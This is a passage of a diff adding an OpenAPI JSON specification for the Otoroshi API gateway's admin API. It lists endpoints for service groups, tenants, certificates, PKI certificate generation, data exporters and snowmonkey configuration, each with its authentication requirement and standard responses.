"otoroshi.controllers.adminapi.SnowMonkeyController.updateSnowMonkey", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.models.SnowMonkeyConfig" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.models.SnowMonkeyConfig" + } + } + } + } + }, + "patch" : { + "tags" : [ "snowmonkey" ], + "summary" : "Updates (using json-patch) the snowmonkey configuration", + "operationId" : "otoroshi.controllers.adminapi.SnowMonkeyController.patchSnowMonkey", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.models.SnowMonkeyConfig" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/PatchBody" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/backends/_count" : { + "get" : { + "tags" : [ "backend", "proxy.otoroshi.io" ], + "summary" : "Get number of entity of kind Backend", + "operationId" : "proxy.otoroshi.io.Backend.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/apis/pki.otoroshi.io/v1/certificates/_template" : { + "get" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Return a template of a resource of kind Certificate", + "operationId" : "pki.otoroshi.io.Certificate.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Certificate", + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/service-groups/{id}" : { + "get" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Find resource of kind ServiceGroup by its id", + "operationId" : "organize.otoroshi.io.ServiceGroup.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind ServiceGroup", + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + }, + "put" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Updates a specific ServiceGroup using its id", + "operationId" : "organize.otoroshi.io.ServiceGroup.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + }, + "patch" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific ServiceGroup using its id", + "operationId" : "organize.otoroshi.io.ServiceGroup.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + }, + "delete" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Deletes a specific ServiceGroup using its id", + "operationId" : "organize.otoroshi.io.ServiceGroup.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + } + }, + "/apis/pki.otoroshi.io/v1/certificates/_bulk" : { + "post" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Create multiple Certificate at the same time", + "operationId" : "pki.otoroshi.io.Certificate.bulk_create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + }, + "put" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Update multiple Certificate at the same time", + "operationId" : "pki.otoroshi.io.Certificate.bulk_update", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + }, + "patch" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Update (using json-patch) multiple Certificate at the same time", + "operationId" : "pki.otoroshi.io.Certificate.bulk_patch", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : false, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkPatchBody" + } + } + } + } + }, + "delete" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Delete multiple Certificate at the same time", + "operationId" : "pki.otoroshi.io.Certificate.bulk_delete", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/BulkResponseBody" + } + } + } + } + } + } + }, + "/apis/events.otoroshi.io/v1/data-exporters" : { + "get" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Find all possible DateExporter entities", + "operationId" : "events.otoroshi.io.DateExporter.findAll", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "type" : "array", + "items" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + } + }, + "post" : { + "tags" : [ "data-exporter", "events.otoroshi.io" ], + "summary" : "Creates a DateExporter", + "operationId" : "events.otoroshi.io.DateExporter.create", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "201" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/events.otoroshi.io.DateExporter" + } + } + } + } + } + }, + "/apis/proxy.otoroshi.io/v1/error-templates/_count" : { + "get" : { + "tags" : [ "error-templates", "proxy.otoroshi.io" ], + "summary" : "Get number of entity of kind ErrorTemplate", + "operationId" : "proxy.otoroshi.io.ErrorTemplate.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/pki/csrs" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a CSR", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genCsr", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrQuery" + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/service-groups/_template" : { + "get" : { + "tags" : [ "service-group", "organize.otoroshi.io" ], + "summary" : "Return a template of a resource of kind ServiceGroup", + "operationId" : "organize.otoroshi.io.ServiceGroup.template", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind ServiceGroup", + "$ref" : "#/components/schemas/organize.otoroshi.io.ServiceGroup" + } + } + } + } + } + } + }, + "/apis/security.otoroshi.io/v1/admins/_count" : { + "get" : { + "tags" : [ "admins", "security.otoroshi.io" ], + "summary" : "Get number of entity of kind SimpleAdminUser", + "operationId" : "security.otoroshi.io.SimpleAdminUser.count", + "parameters" : [ ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resources count", + "type" : "object", + "properties" : { + "count" : { + "type" : "number", + "description" : "the number of resources" + } + } + } + } + } + } + } + } + }, + "/api/cluster/user-tokens/{id}" : { + "get" : { + "tags" : [ "cluster" ], + "summary" : "???", + "operationId" : "otoroshi.controllers.adminapi.ClusterController.getUserToken", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the id parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "unknown type", + "type" : "object" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + } + } + }, + "/apis/organize.otoroshi.io/v1/tenants/{id}" : { + "get" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Find resource of kind Tenant by its id", + "operationId" : "organize.otoroshi.io.Tenant.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Tenant", + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + }, + "put" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Updates a specific Tenant using its id", + "operationId" : "organize.otoroshi.io.Tenant.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + }, + "patch" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Tenant using its id", + "operationId" : "organize.otoroshi.io.Tenant.pathById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + }, + "delete" : { + "tags" : [ "tenant", "organize.otoroshi.io" ], + "summary" : "Deletes a specific Tenant using its id", + "operationId" : "organize.otoroshi.io.Tenant.deleteById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/organize.otoroshi.io.Tenant" + } + } + } + } + } + } + }, + "/api/pki/cas/{ca}/certs" : { + "post" : { + "tags" : [ "pki" ], + "summary" : "Generates a certificate", + "operationId" : "otoroshi.controllers.adminapi.PkiController.genCert", + "parameters" : [ { + "name" : "ca", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "the ca parameter" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCertResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body", + "required" : true, + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/otoroshi.ssl.pki.models.GenCsrQuery" + } + } + } + } + } + }, + "/apis/pki.otoroshi.io/v1/certificates/{id}" : { + "get" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Find resource of kind Certificate by its id", + "operationId" : "pki.otoroshi.io.Certificate.findById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/json" : { + "schema" : { + "description" : "Resource of kind Certificate", + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + } + }, + "put" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Updates a specific Certificate using its id", + "operationId" : "pki.otoroshi.io.Certificate.updateById", + "parameters" : [ { + "name" : "id", + "in" : "path", + "schema" : { + "type" : "string" + }, + "required" : true, + "description" : "The id param of the target entity" + } ], + "security" : [ { + "otoroshi_auth" : [ ] + } ], + "responses" : { + "401" : { + "description" : "You have to provide an Api Key. Api Key can be passed using basic http authentication", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "400" : { + "description" : "Bad resource format. Take another look to the swagger, or open an issue", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "404" : { + "description" : "Resource not found or does not exist", + "content" : { + "application/json" : { + "schema" : { + "$ref" : "#/components/schemas/ErrorResponse" + } + } + } + }, + "200" : { + "description" : "Successful operation", + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + }, + "requestBody" : { + "description" : "the request body in nd-json format (1 stringified entity per line)", + "required" : true, + "content" : { + "application/x-ndjson" : { + "schema" : { + "$ref" : "#/components/schemas/pki.otoroshi.io.Certificate" + } + } + } + } + }, + "patch" : { + "tags" : [ "certificate", "pki.otoroshi.io" ], + "summary" : "Updates (using json-patch) a specific Certificate using its id", + 